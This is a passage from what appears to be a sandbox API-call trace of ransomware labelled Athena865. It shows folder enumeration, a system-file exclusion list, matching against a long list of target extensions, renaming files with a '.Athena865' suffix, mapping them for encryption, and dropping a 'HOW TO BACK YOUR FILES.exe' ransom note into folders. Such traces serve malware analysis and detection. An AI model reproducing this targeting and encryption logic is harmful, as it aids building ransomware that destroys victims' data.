(lpString1="ptx", lpString2="udl") returned -1 [0101.330] lstrlenW (lpString="usr") returned 3 [0101.330] lstrcmpiW (lpString1="ptx", lpString2="usr") returned -1 [0101.330] lstrlenW (lpString="v12") returned 3 [0101.330] lstrcmpiW (lpString1="ptx", lpString2="v12") returned -1 [0101.330] lstrlenW (lpString="vis") returned 3 [0101.330] lstrcmpiW (lpString1="ptx", lpString2="vis") returned -1 [0101.330] lstrlenW (lpString="vpd") returned 3 [0101.330] lstrcmpiW (lpString1="ptx", lpString2="vpd") returned -1 [0101.330] lstrlenW (lpString="vvv") returned 3 [0101.330] lstrcmpiW (lpString1="ptx", lpString2="vvv") returned -1 [0101.330] lstrlenW (lpString="wdb") returned 3 [0101.330] lstrcmpiW (lpString1="ptx", lpString2="wdb") returned -1 [0101.330] lstrlenW (lpString="wmdb") returned 4 [0101.330] lstrcmpiW (lpString1="pptx", lpString2="wmdb") returned -1 [0101.330] lstrlenW (lpString="wrk") returned 3 [0101.330] lstrcmpiW (lpString1="ptx", lpString2="wrk") returned -1 [0101.330] lstrlenW (lpString="xdb") returned 3 [0101.330] lstrcmpiW (lpString1="ptx", lpString2="xdb") returned -1 [0101.330] lstrlenW (lpString="xld") returned 3 [0101.330] lstrcmpiW (lpString1="ptx", lpString2="xld") returned -1 [0101.330] lstrlenW (lpString="xmlff") returned 5 [0101.330] lstrcmpiW (lpString1=".pptx", lpString2="xmlff") returned -1 [0101.330] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\-6FpG.pptx.Athena865") returned 90 [0101.330] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\-6FpG.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\-6fpg.pptx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\-6FpG.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\-6fpg.pptx.athena865"), dwFlags=0x1) returned 1 [0101.332] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\-6FpG.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\-6fpg.pptx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.333] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4582) returned 1 [0101.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.333] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.334] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.334] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.334] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14f0, lpName=0x0) returned 0x17c [0101.334] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14f0) returned 0x100000 [0101.335] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.335] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.335] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.336] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.336] CloseHandle (hObject=0x17c) returned 1 [0101.336] CloseHandle (hObject=0x154) returned 1 [0101.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.337] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2190f0, ftCreationTime.dwHighDateTime=0x1d4d22e, ftLastAccessTime.dwLowDateTime=0x895e18e0, ftLastAccessTime.dwHighDateTime=0x1d4ca65, ftLastWriteTime.dwLowDateTime=0x895e18e0, ftLastWriteTime.dwHighDateTime=0x1d4ca65, nFileSizeHigh=0x0, nFileSizeLow=0xdc59, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-d2hMT.xls", cAlternateFileName="")) returned 1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2=".") returned 1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="..") returned 1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="windows") returned -1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="bootmgr") returned 1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="temp") returned -1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="pagefile.sys") returned -1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="boot") returned 1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="ids.txt") returned -1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="ntuser.dat") returned -1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="perflogs") returned -1 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2="MSBuild") returned -1 [0101.338] lstrlenW (lpString="-d2hMT.xls") returned 10 [0101.338] lstrcpyW (in: lpString1=0x241e8d4, lpString2="-d2hMT.xls" | out: lpString1="-d2hMT.xls") returned="-d2hMT.xls" [0101.338] lstrlenW (lpString="-d2hMT.xls") returned 10 [0101.338] lstrlenW (lpString="Athena865") returned 9 [0101.338] lstrcmpiW (lpString1="d2hMT.xls", lpString2="Athena865") returned 1 [0101.338] lstrlenW (lpString=".dll") returned 4 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2=".dll") returned 1 [0101.338] lstrlenW (lpString=".lnk") returned 4 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2=".lnk") returned 1 [0101.338] lstrlenW (lpString=".ini") returned 4 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2=".ini") returned 1 [0101.338] lstrlenW (lpString=".sys") returned 4 [0101.338] lstrcmpiW (lpString1="-d2hMT.xls", lpString2=".sys") returned 1 [0101.338] lstrlenW (lpString="-d2hMT.xls") returned 10 [0101.338] lstrlenW (lpString="bak") returned 3 [0101.338] lstrcmpiW (lpString1="xls", lpString2="bak") returned 1 [0101.339] lstrlenW (lpString="ba_") returned 3 [0101.339] lstrcmpiW (lpString1="xls", lpString2="ba_") returned 1 [0101.339] lstrlenW (lpString="dbb") returned 3 [0101.339] lstrcmpiW (lpString1="xls", lpString2="dbb") returned 1 [0101.339] lstrlenW (lpString="vmdk") returned 4 [0101.339] lstrcmpiW (lpString1=".xls", lpString2="vmdk") returned -1 [0101.339] lstrlenW (lpString="rar") returned 3 [0101.339] lstrcmpiW (lpString1="xls", lpString2="rar") returned 1 [0101.339] lstrlenW (lpString="zip") returned 3 [0101.339] lstrcmpiW (lpString1="xls", lpString2="zip") returned -1 [0101.339] lstrlenW (lpString="tgz") returned 3 [0101.339] lstrcmpiW (lpString1="xls", lpString2="tgz") returned 1 [0101.339] lstrlenW (lpString="vbox") returned 4 [0101.339] lstrcmpiW (lpString1=".xls", lpString2="vbox") returned -1 [0101.339] lstrlenW (lpString="vdi") returned 3 [0101.339] lstrcmpiW (lpString1="xls", lpString2="vdi") returned 1 [0101.339] lstrlenW (lpString="vhd") returned 3 [0101.339] lstrcmpiW (lpString1="xls", lpString2="vhd") returned 1 [0101.339] lstrlenW (lpString="vhdx") returned 4 [0101.339] lstrcmpiW (lpString1=".xls", lpString2="vhdx") returned -1 [0101.339] lstrlenW (lpString="avhd") returned 4 [0101.339] lstrcmpiW (lpString1=".xls", lpString2="avhd") returned -1 [0101.339] lstrlenW (lpString="db") returned 2 [0101.339] lstrcmpiW (lpString1="ls", lpString2="db") returned 1 [0101.339] lstrlenW (lpString="db2") returned 3 [0101.339] lstrcmpiW (lpString1="xls", lpString2="db2") returned 1 [0101.339] lstrlenW (lpString="db3") returned 3 [0101.339] lstrcmpiW (lpString1="xls", lpString2="db3") returned 1 [0101.339] lstrlenW (lpString="dbf") returned 3 [0101.339] lstrcmpiW (lpString1="xls", lpString2="dbf") returned 1 [0101.340] lstrlenW (lpString="mdf") returned 3 [0101.340] lstrcmpiW (lpString1="xls", lpString2="mdf") returned 1 [0101.340] lstrlenW (lpString="mdb") returned 3 [0101.340] lstrcmpiW (lpString1="xls", lpString2="mdb") returned 1 [0101.340] lstrlenW (lpString="sql") returned 3 [0101.340] lstrcmpiW (lpString1="xls", lpString2="sql") returned 1 [0101.340] lstrlenW (lpString="sqlite") returned 6 [0101.340] lstrcmpiW (lpString1="MT.xls", lpString2="sqlite") returned -1 [0101.340] lstrlenW (lpString="sqlite3") returned 7 [0101.340] lstrcmpiW (lpString1="hMT.xls", lpString2="sqlite3") returned -1 [0101.340] lstrlenW (lpString="sqlitedb") returned 8 [0101.340] lstrcmpiW (lpString1="2hMT.xls", lpString2="sqlitedb") returned -1 [0101.340] lstrlenW (lpString="xml") returned 3 [0101.340] lstrcmpiW (lpString1="xls", lpString2="xml") returned -1 [0101.340] lstrlenW (lpString="$er") returned 3 [0101.340] lstrcmpiW (lpString1="xls", lpString2="$er") returned 1 [0101.340] lstrlenW (lpString="4dd") returned 3 [0101.340] lstrcmpiW (lpString1="xls", lpString2="4dd") returned 1 [0101.340] lstrlenW (lpString="4dl") returned 3 [0101.340] lstrcmpiW (lpString1="xls", lpString2="4dl") returned 1 [0101.340] lstrlenW (lpString="^^^") returned 3 [0101.340] lstrcmpiW (lpString1="xls", lpString2="^^^") returned 1 [0101.340] lstrlenW (lpString="abs") returned 3 [0101.340] lstrcmpiW (lpString1="xls", lpString2="abs") returned 1 [0101.340] lstrlenW (lpString="abx") returned 3 [0101.340] lstrcmpiW (lpString1="xls", lpString2="abx") returned 1 [0101.340] lstrlenW (lpString="accdb") returned 5 [0101.340] lstrcmpiW (lpString1="T.xls", lpString2="accdb") returned 1 [0101.340] lstrlenW (lpString="accdc") returned 5 [0101.340] lstrcmpiW (lpString1="T.xls", lpString2="accdc") returned 1 [0101.340] lstrlenW (lpString="accde") returned 5 [0101.341] lstrcmpiW (lpString1="T.xls", lpString2="accde") returned 1 [0101.341] lstrlenW (lpString="accdr") returned 5 [0101.341] lstrcmpiW (lpString1="T.xls", lpString2="accdr") returned 1 [0101.341] lstrlenW (lpString="accdt") returned 5 [0101.341] lstrcmpiW (lpString1="T.xls", lpString2="accdt") returned 1 [0101.341] lstrlenW (lpString="accdw") returned 5 [0101.341] lstrcmpiW (lpString1="T.xls", lpString2="accdw") returned 1 [0101.341] lstrlenW (lpString="accft") returned 5 [0101.341] lstrcmpiW (lpString1="T.xls", lpString2="accft") returned 1 [0101.341] lstrlenW (lpString="adb") returned 3 [0101.341] lstrcmpiW (lpString1="xls", lpString2="adb") returned 1 [0101.341] lstrlenW (lpString="adb") returned 3 [0101.341] lstrcmpiW (lpString1="xls", lpString2="adb") returned 1 [0101.341] lstrlenW (lpString="ade") returned 3 [0101.341] lstrcmpiW (lpString1="xls", lpString2="ade") returned 1 [0101.341] lstrlenW (lpString="adf") returned 3 [0101.341] lstrcmpiW (lpString1="xls", lpString2="adf") returned 1 [0101.341] lstrlenW (lpString="adn") returned 3 [0101.341] lstrcmpiW (lpString1="xls", lpString2="adn") returned 1 [0101.341] lstrlenW (lpString="adp") returned 3 [0101.341] lstrcmpiW (lpString1="xls", lpString2="adp") returned 1 [0101.341] lstrlenW (lpString="alf") returned 3 [0101.341] lstrcmpiW (lpString1="xls", lpString2="alf") returned 1 [0101.341] lstrlenW (lpString="ask") returned 3 [0101.341] lstrcmpiW (lpString1="xls", lpString2="ask") returned 1 [0101.341] lstrlenW (lpString="btr") returned 3 [0101.341] lstrcmpiW (lpString1="xls", lpString2="btr") returned 1 [0101.341] lstrlenW (lpString="cat") returned 3 [0101.341] lstrcmpiW (lpString1="xls", lpString2="cat") returned 1 [0101.341] lstrlenW (lpString="cdb") returned 3 [0101.341] lstrcmpiW (lpString1="xls", lpString2="cdb") returned 1 [0101.341] lstrlenW (lpString="ckp") returned 3 [0101.342] lstrcmpiW (lpString1="xls", lpString2="ckp") returned 1 [0101.342] lstrlenW (lpString="cma") returned 3 [0101.342] lstrcmpiW (lpString1="xls", lpString2="cma") returned 1 [0101.342] lstrlenW (lpString="cpd") returned 3 [0101.342] lstrcmpiW (lpString1="xls", lpString2="cpd") returned 1 [0101.342] lstrlenW (lpString="dacpac") returned 6 [0101.342] lstrcmpiW (lpString1="MT.xls", lpString2="dacpac") returned 1 [0101.342] lstrlenW (lpString="dad") returned 3 [0101.342] lstrcmpiW (lpString1="xls", lpString2="dad") returned 1 [0101.342] lstrlenW (lpString="dadiagrams") returned 10 [0101.342] lstrlenW (lpString="daschema") returned 8 [0101.342] lstrcmpiW (lpString1="2hMT.xls", lpString2="daschema") returned -1 [0101.342] lstrlenW (lpString="db-journal") returned 10 [0101.342] lstrlenW (lpString="db-shm") returned 6 [0101.342] lstrcmpiW (lpString1="MT.xls", lpString2="db-shm") returned 1 [0101.342] lstrlenW (lpString="db-wal") returned 6 [0101.342] lstrcmpiW (lpString1="MT.xls", lpString2="db-wal") returned 1 [0101.342] lstrlenW (lpString="dbc") returned 3 [0101.342] lstrcmpiW (lpString1="xls", lpString2="dbc") returned 1 [0101.342] lstrlenW (lpString="dbs") returned 3 [0101.342] lstrcmpiW (lpString1="xls", lpString2="dbs") returned 1 [0101.342] lstrlenW (lpString="dbt") returned 3 [0101.342] lstrcmpiW (lpString1="xls", lpString2="dbt") returned 1 [0101.342] lstrlenW (lpString="dbv") returned 3 [0101.342] lstrcmpiW (lpString1="xls", lpString2="dbv") returned 1 [0101.342] lstrlenW (lpString="dbx") returned 3 [0101.342] lstrcmpiW (lpString1="xls", lpString2="dbx") returned 1 [0101.342] lstrlenW (lpString="dcb") returned 3 [0101.342] lstrcmpiW (lpString1="xls", lpString2="dcb") returned 1 [0101.342] lstrcmpiW (lpString1="xls", lpString2="dct") returned 1 [0101.343] lstrcmpiW (lpString1="xls", lpString2="dcx") returned 1 [0101.343] lstrcmpiW (lpString1="xls", lpString2="ddl") returned 1 [0101.343] lstrcmpiW (lpString1=".xls", lpString2="dlis") returned -1 [0101.343] lstrcmpiW (lpString1="xls", lpString2="dp1") returned 1 [0101.343] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\-d2hMT.xls.Athena865") returned 90 [0101.343] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\-d2hMT.xls" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\-d2hmt.xls"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\-d2hMT.xls.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\-d2hmt.xls.athena865"), dwFlags=0x1) returned 1 [0101.344] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\-d2hMT.xls.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\-d2hmt.xls.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.344] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56409) returned 1 [0101.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.344] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.345] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.345] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.345] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf60, lpName=0x0) returned 0x17c [0101.345] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf60) returned 0x100000 [0101.347] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.348] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.348] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.349] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.349] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.349] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.350] CloseHandle (hObject=0x17c) returned 1 [0101.350] CloseHandle (hObject=0x154) returned 1 [0101.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.351] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa47e8640, ftCreationTime.dwHighDateTime=0x1d4d00b, ftLastAccessTime.dwLowDateTime=0x6ab60190, ftLastAccessTime.dwHighDateTime=0x1d4c7c3, ftLastWriteTime.dwLowDateTime=0x6ab60190, ftLastWriteTime.dwHighDateTime=0x1d4c7c3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B6lAo1oUZJ4n11zTi", cAlternateFileName="B6LAO1~1")) returned 1 [0101.351] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.351] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.351] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2=".") returned 1 [0101.351] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="..") returned 1 [0101.352] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="windows") returned -1 [0101.352] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="bootmgr") returned -1 [0101.352] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="temp") returned -1 [0101.352] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="pagefile.sys") returned -1 [0101.352] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="boot") returned -1 [0101.352] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="ids.txt") returned -1 [0101.352] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="ntuser.dat") returned -1 [0101.352] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="perflogs") returned -1 [0101.352] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi", lpString2="MSBuild") returned -1 [0101.352] lstrlenW (lpString="B6lAo1oUZJ4n11zTi") returned 17 [0101.352] lstrcpyW (in: lpString1=0x241e8d4, lpString2="B6lAo1oUZJ4n11zTi" | out: lpString1="B6lAo1oUZJ4n11zTi") returned="B6lAo1oUZJ4n11zTi" [0101.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c470 [0101.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x542340 [0101.352] lstrcatW (in: lpString1="B6lAo1oUZJ4n11zTi", lpString2="\\" | out: lpString1="B6lAo1oUZJ4n11zTi\\") returned="B6lAo1oUZJ4n11zTi\\" [0101.352] lstrcatW (in: lpString1="B6lAo1oUZJ4n11zTi\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="B6lAo1oUZJ4n11zTi\\HOW TO BACK YOUR FILES.exe") returned="B6lAo1oUZJ4n11zTi\\HOW TO BACK YOUR FILES.exe" [0101.352] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\B6lAo1oUZJ4n11zTi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\b6lao1ouzj4n11zti\\how to back your files.exe"), bFailIfExists=1) returned 1 [0101.358] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x257948a0, ftCreationTime.dwHighDateTime=0x1d4d202, ftLastAccessTime.dwLowDateTime=0xb53b2240, ftLastAccessTime.dwHighDateTime=0x1d4c6ec, ftLastWriteTime.dwLowDateTime=0xb53b2240, ftLastWriteTime.dwHighDateTime=0x1d4c6ec, nFileSizeHigh=0x0, nFileSizeLow=0x5953, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ePM0n-.ots", cAlternateFileName="")) returned 1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2=".") returned 1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="..") returned 1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="windows") returned -1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="bootmgr") returned 1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="temp") returned -1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="pagefile.sys") returned -1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="boot") returned 1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="ids.txt") returned -1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="ntuser.dat") returned -1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="perflogs") returned -1 [0101.358] lstrcmpiW (lpString1="ePM0n-.ots", lpString2="MSBuild") returned -1 [0101.358] lstrlenW (lpString="ePM0n-.ots") returned 10 [0101.358] lstrcpyW (in: lpString1=0x241e8d4, lpString2="ePM0n-.ots" | out: lpString1="ePM0n-.ots") returned="ePM0n-.ots" [0101.358] lstrlenW (lpString="ePM0n-.ots") returned 10 [0101.358] lstrlenW (lpString="Athena865") returned 9 [0101.358] lstrcmpiW (lpString1="PM0n-.ots", lpString2="Athena865") returned 1 [0101.359] lstrlenW (lpString=".dll") returned 4 [0101.359] lstrcmpiW (lpString1="ePM0n-.ots", lpString2=".dll") returned 1 [0101.359] lstrlenW (lpString=".lnk") returned 4 [0101.359] lstrcmpiW (lpString1="ePM0n-.ots", lpString2=".lnk") returned 1 [0101.359] lstrlenW (lpString=".ini") returned 4 [0101.359] lstrcmpiW (lpString1="ePM0n-.ots", lpString2=".ini") returned 1 [0101.359] lstrlenW (lpString=".sys") returned 4 [0101.359] lstrcmpiW (lpString1="ePM0n-.ots", lpString2=".sys") returned 1 [0101.359] lstrlenW (lpString="ePM0n-.ots") returned 10 [0101.359] lstrlenW (lpString="bak") returned 3 [0101.359] lstrcmpiW (lpString1="ots", lpString2="bak") returned 1 [0101.359] lstrlenW (lpString="ba_") returned 3 [0101.359] lstrcmpiW (lpString1="ots", lpString2="ba_") returned 1 [0101.359] lstrlenW (lpString="dbb") returned 3 [0101.359] lstrcmpiW (lpString1="ots", lpString2="dbb") returned 1 [0101.359] lstrlenW (lpString="vmdk") returned 4 [0101.359] lstrcmpiW (lpString1=".ots", lpString2="vmdk") returned -1 [0101.359] lstrlenW (lpString="rar") returned 3 [0101.359] lstrcmpiW (lpString1="ots", lpString2="rar") returned -1 [0101.359] lstrlenW (lpString="zip") returned 3 [0101.359] lstrcmpiW (lpString1="ots", lpString2="zip") returned -1 [0101.359] lstrlenW (lpString="tgz") returned 3 [0101.359] lstrcmpiW (lpString1="ots", lpString2="tgz") returned -1 [0101.359] lstrlenW (lpString="vbox") returned 4 [0101.359] lstrcmpiW (lpString1=".ots", lpString2="vbox") returned -1 [0101.359] lstrlenW (lpString="vdi") returned 3 [0101.359] lstrcmpiW (lpString1="ots", lpString2="vdi") returned -1 [0101.359] lstrlenW (lpString="vhd") returned 3 [0101.359] lstrcmpiW (lpString1="ots", lpString2="vhd") returned -1 [0101.359] 